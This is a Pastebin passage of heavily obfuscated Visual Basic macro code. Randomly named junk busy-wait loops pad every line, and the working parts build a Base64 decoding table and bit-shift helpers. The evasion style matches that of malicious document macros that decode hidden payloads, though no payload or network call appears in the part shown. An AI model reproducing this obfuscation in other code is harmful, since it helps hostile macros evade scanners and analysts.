  763. oHPFlg = oHPFlg + 1: DoEvents
  764. Loop
  765. C = S2OPk(d(2) And &H3) Or d(3)
  766. Dim ebmpEabkupSi As Integer
  767. ebmpEabkupSi = 219
  768. Do While ebmpEabkupSi < 219 + 10
  769. ebmpEabkupSi = ebmpEabkupSi + 1: DoEvents
  770. Loop
  771. Dim GfZCElrK As Integer
  772. GfZCElrK = 294
  773. Do While GfZCElrK < 294 + 10
  774. GfZCElrK = GfZCElrK + 1: DoEvents
  775. Loop
  776. MUlJcBiW = MUlJcBiW & Chr$(C)
  777. Dim VlEZrmb As Integer
  778. VlEZrmb = 800
  779. Do While VlEZrmb < 800 + 10
  780. VlEZrmb = VlEZrmb + 1: DoEvents
  781. Loop
  782. Dim yDALdrz As Integer
  783. yDALdrz = 655
  784. Do While yDALdrz < 655 + 10
  785. yDALdrz = yDALdrz + 1: DoEvents
  786. Loop
  787.  wXV8Ug = MUlJcBiW
  788. Dim RQIBInzzOSVN As Integer
  789. RQIBInzzOSVN = 1922
  790. Do While RQIBInzzOSVN < 1922 + 10
  791. RQIBInzzOSVN = RQIBInzzOSVN + 1: DoEvents
  792. Loop
  793. Dim sIkjzp As Integer
  794. sIkjzp = 2314
  795. Do While sIkjzp < 2314 + 10
  796. sIkjzp = sIkjzp + 1: DoEvents
  797. Loop
  798. End Function
  799. Private Function kp1UWLnYV()
  800. Dim t As Integer
  801. Dim ELqCCSVZQp As Integer
  802. ELqCCSVZQp = 1745
  803. Do While ELqCCSVZQp < 1745 + 10
  804. ELqCCSVZQp = ELqCCSVZQp + 1: DoEvents
  805. Loop
  806. Dim wwjjKTgHcGf As Integer
  807. wwjjKTgHcGf = 1473
  808. Do While wwjjKTgHcGf < 1473 + 10
  809. wwjjKTgHcGf = wwjjKTgHcGf + 1: DoEvents
  810. Loop
  811. Dim C As Integer
  812. Dim zbIaLPqPc As Integer
  813. zbIaLPqPc = 620
  814. Do While zbIaLPqPc < 620 + 10
  815. zbIaLPqPc = zbIaLPqPc + 1: DoEvents
  816. Loop
  817. Dim UCrLCtGQzznn As Integer
  818. UCrLCtGQzznn = 2185
  819. Do While UCrLCtGQzznn < 2185 + 10
  820. UCrLCtGQzznn = UCrLCtGQzznn + 1: DoEvents
  821. Loop
  822. For C = 0 To 255
  823. Dim DCeLdO As Integer
  824. DCeLdO = 1045
  825. Do While DCeLdO < 1045 + 10
  826. DCeLdO = DCeLdO + 1: DoEvents
  827. Loop
  828. Dim tRvaYFuOF As Integer
  829. tRvaYFuOF = 456
  830. Do While tRvaYFuOF < 456 + 10
  831. tRvaYFuOF = tRvaYFuOF + 1: DoEvents
  832. Loop
  833. aDecTab(C) = -1
  834. Dim VjQJkGFiO As Integer
  835. VjQJkGFiO = 2007
  836. Do While VjQJkGFiO < 2007 + 10
  837. VjQJkGFiO = VjQJkGFiO + 1: DoEvents
  838. Loop
  839. Dim GFttUdpRlQpG As Integer
  840. GFttUdpRlQpG = 217
  841. Do While GFttUdpRlQpG < 217 + 10
  842. GFttUdpRlQpG = GFttUdpRlQpG + 1: DoEvents
  843. Loop
  844. Next
  845. Dim JhcFHoINVrAAyDbipTg As Integer
  846. JhcFHoINVrAAyDbipTg = 911
  847. Do While JhcFHoINVrAAyDbipTg < 911 + 10
  848. JhcFHoINVrAAyDbipTg = JhcFHoINVrAAyDbipTg + 1: DoEvents
  849. Loop
  850. Dim CRVZPpRxhdR As Integer
  851. CRVZPpRxhdR = 419
  852. Do While CRVZPpRxhdR < 419 + 10
  853. CRVZPpRxhdR = CRVZPpRxhdR + 1: DoEvents
  854. Loop
  855. t = 0
  856. Dim ggHPcEYDct As Integer
  857. ggHPcEYDct = 1527
  858. Do While ggHPcEYDct < 1527 + 10
  859. ggHPcEYDct = ggHPcEYDct + 1: DoEvents
  860. Loop
  861. Dim TsVAk As Integer
  862. TsVAk = 874
  863. Do While TsVAk < 874 + 10
  864. TsVAk = TsVAk + 1: DoEvents
  865. Loop
  866. For C = Asc(uoqGqBG) To Asc(lVvyl)
  867. Dim NlrydqpFJL As Integer
  868. NlrydqpFJL = 2440
  869. Do While NlrydqpFJL < 2440 + 10
  870. NlrydqpFJL = NlrydqpFJL + 1: DoEvents
  871. Loop
  872. Dim anxggT As Integer
  873. anxggT = 1078
  874. Do While anxggT < 1078 + 10
  875. anxggT = anxggT + 1: DoEvents
  876. Loop
  877. aDecTab(C) = t
  878. Dim YFHdEJY As Integer
  879. YFHdEJY = 1757
  880. Do While YFHdEJY < 1757 + 10
  881. YFHdEJY = YFHdEJY + 1: DoEvents
  882. Loop
  883. Dim iazcG As Integer
  884. iazcG = 2072
  885. Do While iazcG < 2072 + 10
  886. iazcG = iazcG + 1: DoEvents
  887. Loop
  888. t = t + 1
  889. Dim tTdpRlQo As Integer
  890. tTdpRlQo = 1230
  891. Do While tTdpRlQo < 1230 + 10
  892. tTdpRlQo = tTdpRlQo + 1: DoEvents
  893. Loop
  894. Dim LRNZcrM As Integer
  895. LRNZcrM = 1801
  896. Do While LRNZcrM < 1801 + 10
  897. LRNZcrM = LRNZcrM + 1: DoEvents
  898. Loop
  899. Next
  900. Dim QnQink As Integer
  901. QnQink = 1972
  902. Do While QnQink < 1972 + 10
  903. QnQink = QnQink + 1: DoEvents
  904. Loop
  905. Dim sjxHqqdPq As Integer
  906. sjxHqqdPq = 927
  907. Do While sjxHqqdPq < 927 + 10
  908. sjxHqqdPq = sjxHqqdPq + 1: DoEvents
  909. Loop
  910. For C = Asc(vJ5d) To Asc(o4YsRAnX)
  911. Dim bxELqDCSVZQp As Integer
  912. bxELqDCSVZQp = 1702
  913. Do While bxELqDCSVZQp < 1702 + 10
  914. bxELqDCSVZQp = bxELqDCSVZQp + 1: DoEvents
  915. Loop
  916. Dim ImQAwl As Integer
  917. ImQAwl = 2302
  918. Do While ImQAwl < 2302 + 10
  919. ImQAwl = ImQAwl + 1: DoEvents
  920. Loop
  921. aDecTab(C) = t
  922. Dim zGkxwMQ As Integer
  923. zGkxwMQ = 617
  924. Do While zGkxwMQ < 617 + 10
  925. zGkxwMQ = zGkxwMQ + 1: DoEvents
  926. Loop
  927. Dim qFmsLTJpklj As Integer
  928. qFmsLTJpklj = 425
  929. Do While qFmsLTJpklj < 425 + 10
  930. qFmsLTJpklj = qFmsLTJpklj + 1: DoEvents
  931. Loop
  932. t = t + 1
  933. Dim zROlHgYTg As Integer
  934. zROlHgYTg = 1038
  935. Do While zROlHgYTg < 1038 + 10
  936. zROlHgYTg = zROlHgYTg + 1: DoEvents
  937. Loop
  938. Dim pxJmFlIbnbZ As Integer
  939. pxJmFlIbnbZ = 153
  940. Do While pxJmFlIbnbZ < 153 + 10
  941. pxJmFlIbnbZ = pxJmFlIbnbZ + 1: DoEvents
  942. Loop
  943. Next
  944. Dim nCGJBap As Integer
  945. nCGJBap = 1621
  946. Do While nCGJBap < 1621 + 10
  947. nCGJBap = nCGJBap + 1: DoEvents
  948. Loop
  949. Dim xyfmEMCidech As Integer
  950. xyfmEMCidech = 2014
  951. Do While xyfmEMCidech < 2014 + 10
  952. xyfmEMCidech = xyfmEMCidech + 1: DoEvents
  953. Loop
  954. For C = Asc(MPt) To Asc(rH2A)
  955. Dim ismPgySmgVBK As Integer
  956. ismPgySmgVBK = 2238
  957. Do While ismPgySmgVBK < 2238 + 10
  958. ismPgySmgVBK = ismPgySmgVBK + 1: DoEvents
  959. Loop
  960. Dim bxhsyuF As Integer
  961. bxhsyuF = 984
  962. Do While bxhsyuF < 984 + 10
  963. bxhsyuF = bxhsyuF + 1: DoEvents
  964. Loop
  965. aDecTab(C) = t
  966. Dim HRAAnaBY As Integer
  967. HRAAnaBY = 605
  968. Do While HRAAnaBY < 605 + 10
  969. HRAAnaBY = HRAAnaBY + 1: DoEvents
  970. Loop
  971. Dim APHsa As Integer
  972. APHsa = 554
  973. Do While APHsa < 554 + 10
  974. APHsa = APHsa + 1: DoEvents
  975. Loop
  976. t = t + 1
  977. Dim IckaFAAzE As Integer
  978. IckaFAAzE = 396
  979. Do While IckaFAAzE < 396 + 10
  980. IckaFAAzE = IckaFAAzE + 1: DoEvents
  981. Loop
  982. Dim qsZtyGvcklj As Integer
  983. qsZtyGvcklj = 316
  984. Do While qsZtyGvcklj < 316 + 10
  985. qsZtyGvcklj = qsZtyGvcklj + 1: DoEvents
  986. Loop
  987. Next
  988. Dim dIDECHs As Integer
  989. dIDECHs = 505
  990. Do While dIDECHs < 505 + 10
  991. dIDECHs = dIDECHs + 1: DoEvents
  992. Loop
  993. Dim cwBJzfoo As Integer
  994. cwBJzfoo = 931
  995. Do While cwBJzfoo < 931 + 10
  996. cwBJzfoo = cwBJzfoo + 1: DoEvents
  997. Loop
  998. C = Asc(mE4AWCC3O)
  999. Dim UgxyTUeCjMcI As Integer
  1000. UgxyTUeCjMcI = 1721
  1001. Do While UgxyTUeCjMcI < 1721 + 10
  1002. UgxyTUeCjMcI = UgxyTUeCjMcI + 1: DoEvents
  1003. Loop
  1004. Dim qQcVolIeCur As Integer
  1005. qQcVolIeCur = 1131
  1006. Do While qQcVolIeCur < 1131 + 10
  1007. qQcVolIeCur = qQcVolIeCur + 1: DoEvents
  1008. Loop
  1009. aDecTab(C) = t
  1010. Dim AMBysK As Integer
  1011. AMBysK = 701
  1012. Do While AMBysK < 701 + 10
  1013. AMBysK = AMBysK + 1: DoEvents
  1014. Loop
  1015. Dim tVboyThUGiEC As Integer
  1016. tVboyThUGiEC = 132
  1017. Do While tVboyThUGiEC < 132 + 10
  1018. tVboyThUGiEC = tVboyThUGiEC + 1: DoEvents
  1019. Loop
  1020. t = t + 1
  1021. Dim DDqrRbnPjNmE As Integer
  1022. DDqrRbnPjNmE = 2141
  1023. Do While DDqrRbnPjNmE < 2141 + 10
  1024. DDqrRbnPjNmE = DDqrRbnPjNmE + 1: DoEvents
  1025. Loop
  1026. Dim ZerBQkYJ As Integer
  1027. ZerBQkYJ = 1728
  1028. Do While ZerBQkYJ < 1728 + 10
  1029. ZerBQkYJ = ZerBQkYJ + 1: DoEvents
  1030. Loop
  1031. C = Asc(uwbNZtnc)
  1032. Dim GGuuUeqSmRpH As Integer
  1033. GGuuUeqSmRpH = 1205
  1034. Do While GGuuUeqSmRpH < 1205 + 10
  1035. GGuuUeqSmRpH = GGuuUeqSmRpH + 1: DoEvents
  1036. Loop
  1037. Dim epjByUrPH As Integer
  1038. epjByUrPH = 172
  1039. Do While epjByUrPH < 172 + 10
  1040. epjByUrPH = epjByUrPH + 1: DoEvents
  1041. Loop
  1042. aDecTab(C) = t
  1043. Dim sKQKICURoYjo As Integer
  1044. sKQKICURoYjo = 680
  1045. Do While sKQKICURoYjo < 680 + 10
  1046. sKQKICURoYjo = sKQKICURoYjo + 1: DoEvents
  1047. Loop
  1048. Dim QPsardhG As Integer
  1049. QPsardhG = 1199
  1050. Do While QPsardhG < 1199 + 10
  1051. QPsardhG = QPsardhG + 1: DoEvents
  1052. Loop
  1053. t = t + 1
  1054. Dim AckwZsYwN As Integer
  1055. AckwZsYwN = 1833
  1056. Do While AckwZsYwN < 1833 + 10
  1057. AckwZsYwN = AckwZsYwN + 1: DoEvents
  1058. Loop
  1059. Dim cjNaaq As Integer
  1060. cjNaaq = 2224
  1061. Do While cjNaaq < 2224 + 10
  1062. cjNaaq = cjNaaq + 1: DoEvents
  1063. Loop
  1064. C = Asc(TcKhQpncb)
  1065. Dim mRMNLQBI As Integer
  1066. mRMNLQBI = 644
  1067. Do While mRMNLQBI < 644 + 10
  1068. mRMNLQBI = mRMNLQBI + 1: DoEvents
  1069. Loop
  1070. Dim IoxxwBmfmQed As Integer
  1071. IoxxwBmfmQed = 465
  1072. Do While IoxxwBmfmQed < 465 + 10
  1073. IoxxwBmfmQed = IoxxwBmfmQed + 1: DoEvents
  1074. Loop
  1075. aDecTab(C) = t  ' should be 64
  1076. Dim npVcvDtZTU As Integer
  1077. npVcvDtZTU = 1700
  1078. Do While npVcvDtZTU < 1700 + 10
  1079. npVcvDtZTU = npVcvDtZTU + 1: DoEvents
  1080. Loop
  1081. Dim rABzEpjqTh As Integer
  1082. rABzEpjqTh = 1921
  1083. Do While rABzEpjqTh < 1921 + 10
  1084. rABzEpjqTh = rABzEpjqTh + 1: DoEvents
  1085. Loop
  1086. End Function
  1087. Private Function RTgCMP8ArHN(ByVal bytValue As Byte) As Byte
  1088.  RTgCMP8ArHN = (bytValue * &H4) And &HFF
  1089. Dim TisbaNpxJmFlJbnb As Integer
  1090. TisbaNpxJmFlJbnb = 796
  1091. Do While TisbaNpxJmFlJbnb < 796 + 10
  1092. TisbaNpxJmFlJbnb = TisbaNpxJmFlJbnb + 1: DoEvents
  1093. Loop
  1094. Dim bnnDGJBa As Integer
  1095. bnnDGJBa = 2392
  1096. Do While bnnDGJBa < 2392 + 10
  1097. bnnDGJBa = bnnDGJBa + 1: DoEvents
  1098. Loop
  1099. End Function
  1100. Private Function sWGD(ByVal bytValue As Byte) As Byte
  1101.  sWGD = (bytValue * &H10) And &HFF
  1102. Dim TxzgmFNCieec As Integer
  1103. TxzgmFNCieec = 2341
  1104. Do While TxzgmFNCieec < 2341 + 10
  1105. TxzgmFNCieec = TxzgmFNCieec + 1: DoEvents
  1106. Loop
  1107. Dim BVpjZE As Integer
  1108. BVpjZE = 2163
  1109. Do While BVpjZE < 2163 + 10
  1110. BVpjZE = BVpjZE + 1: DoEvents
  1111. Loop
  1112. End Function
  1113. Private Function S2OPk(ByVal bytValue As Byte) As Byte
  1114.  S2OPk = (bytValue * &H40) And &HFF
  1115. Dim mtvEcQACjpIQ As Integer
  1116. mtvEcQACjpIQ = 2197
  1117. Do While mtvEcQACjpIQ < 2197 + 10
  1118. mtvEcQACjpIQ = mtvEcQACjpIQ + 1: DoEvents
  1119. Loop
  1120. Dim ifqtI As Integer
  1121. ifqtI = 659
  1122. Do While ifqtI < 659 + 10
  1123. ifqtI = ifqtI + 1: DoEvents
  1124. Loop
  1125. End Function
  1126. Private Function LBCH1U(ByVal bytValue As Byte) As Byte
  1127.  LBCH1U = bytValue \ &H4
  1128. Dim pxJmFlIbAbm As Integer
  1129. pxJmFlIbAbm = 1212
  1130. Do While pxJmFlIbAbm < 1212 + 10
  1131. pxJmFlIbAbm = pxJmFlIbAbm + 1: DoEvents
  1132. Loop
  1133. Dim KyTJAOZHHuh As Integer
  1134. KyTJAOZHHuh = 197
  1135. Do While KyTJAOZHHuh < 197 + 10
  1136. KyTJAOZHHuh = KyTJAOZHHuh + 1: DoEvents
  1137. Loop
  1138. End Function
  1139. Private Function fmTcJ(ByVal bytValue As Byte) As Byte
  1140.  fmTcJ = bytValue \ &H10
  1141. Dim gkyverQQs As Integer
  1142. gkyverQQs = 1762
  1143. Do While gkyverQQs < 1762 + 10
  1144. gkyverQQs = gkyverQQs + 1: DoEvents
  1145. Loop
  1146. Dim CiRNC As Integer
  1147. CiRNC = 1065
  1148. Do While CiRNC < 1065 + 10
  1149. CiRNC = CiRNC + 1: DoEvents
  1150. Loop
  1151. End Function
  1152. Private Function jWw(ByVal bytValue As Byte) As Byte
  1153.  jWw = bytValue \ &H40
  1154. Dim kmGjoByhu As Integer
  1155. kmGjoByhu = 890
  1156. Do While kmGjoByhu < 890 + 10
  1157. kmGjoByhu = kmGjoByhu + 1: DoEvents
  1158. Loop
  1159. Dim JMPHgJoY As Integer
  1160. JMPHgJoY = 584
  1161. Do While JMPHgJoY < 584 + 10
  1162. JMPHgJoY = JMPHgJoY + 1: DoEvents
  1163. Loop
  1164. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top